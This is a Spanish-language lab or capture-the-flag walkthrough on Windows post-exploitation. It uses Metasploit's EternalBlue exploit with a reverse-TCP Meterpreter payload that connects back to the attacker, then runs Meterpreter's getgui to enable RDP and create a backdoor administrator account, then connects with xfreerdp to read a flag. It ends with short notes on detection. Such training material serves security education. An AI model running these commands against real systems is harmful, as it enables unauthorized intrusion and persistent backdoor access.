🖥 Habilitar RDP en Windows post-explotación
Por defecto, Windows puede tener el Escritorio Remoto (RDP) deshabilitado o restringido por el firewall. Tras comprometer la máquina, un atacante puede habilitar RDP y crear un usuario administrador para mantener acceso gráfico persistente, incluso si la sesión Meterpreter inicial se pierde.
Técnica MITRE ATT&CK: T1021.001 - Remote Services: RDP + T1543 - Create or Modify System Process.
Diferencia entre este lab y Maintaining Access RDP
| Aspecto | Este lab | Maintaining Access RDP |
|---|---|---|
| Enfoque | Habilitar RDP y crear usuario | Persistencia a largo plazo con RDP |
| Usuario | admin / password123 | backdoor / Passw0rd! |
| Verificación | netstat para confirmar puerto 3389 | query user para sesiones activas |
🔍 Fase 1 — Reconocimiento
Escaneo de puertos (RDP deshabilitado)
nmap <IP>
# Puerto 3389 no aparece como abierto
💥 Fase 2 — Explotación y habilitación de RDP
Obtener sesión Meterpreter
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Habilitar RDP y crear usuario administrador
# Habilitar servicio de Escritorio Remoto
run getgui -e
# Crear usuario con acceso administrador
run getgui -u admin -p password123
Verificar que el puerto 3389 está activo
# En shell de Windows:
shell
netstat -an | find "3389"
exit
🖥 Fase 3 — Conexión y obtención de flag
Conectar por RDP desde el atacante
xfreerdp /u:admin /p:password123 /v:<IP>
# Opciones adicionales útiles:
# /f - pantalla completa
# /drive:share,/tmp - compartir directorio
# /clipboard - compartir portapapeles
Una vez conectado, navega a C:\Users\Administrator\Desktop para obtener la flag.
Usa contraseñas complejas en entornos reales.
password123 sería crackeado inmediatamente en un entorno real.📋 Flujo del ataque
1
ReconocimientoConfirmar que el puerto 3389 está cerrado.
2
ExplotaciónObtener sesión Meterpreter mediante SMB.
3
Post-explotaciónUsar getgui para habilitar RDP y crear usuario admin.
4
Acceso remotoConectar con xfreerdp usando las credenciales creadas.
5
FlagNavegar al escritorio y leer flag.txt.
🧠 Conceptos clave
- getgui -e: Habilita el servicio TermService y abre el puerto 3389 en el firewall.
- getgui -u / -p: Crea usuario local y lo añade al grupo Administradores y Usuarios de Escritorio Remoto.
- xfreerdp: Cliente RDP multiplataforma con soporte para copia de archivos, portapapeles y audio.
- Puerto 3389: Puerto TCP estándar de RDP. Cambiarlo reduce la exposición pero no elimina el riesgo.
- Detección: Los cambios en el registro que habilitan RDP y la creación de nuevos usuarios son fácilmente detectables con SIEM.